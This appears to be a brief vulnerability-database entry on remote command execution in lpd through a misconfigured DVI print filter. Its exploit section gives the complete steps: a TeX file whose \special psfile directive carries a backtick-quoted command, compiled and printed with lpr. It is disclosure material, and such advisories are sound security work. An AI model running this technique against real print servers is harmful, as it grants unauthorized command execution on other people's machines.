• info
• discussion
• exploit
• solution
• references

Lpd Remote Command Execution via DVI Printfilter Configuration Error

There is no exploit code required. This example is based on Zenith Parsec's original post:

cat >exploit.tex <<EOF
\special{psfile="`command to be executed`"}
\end
EOF
tex exploit.tex
lpr exploit.dvi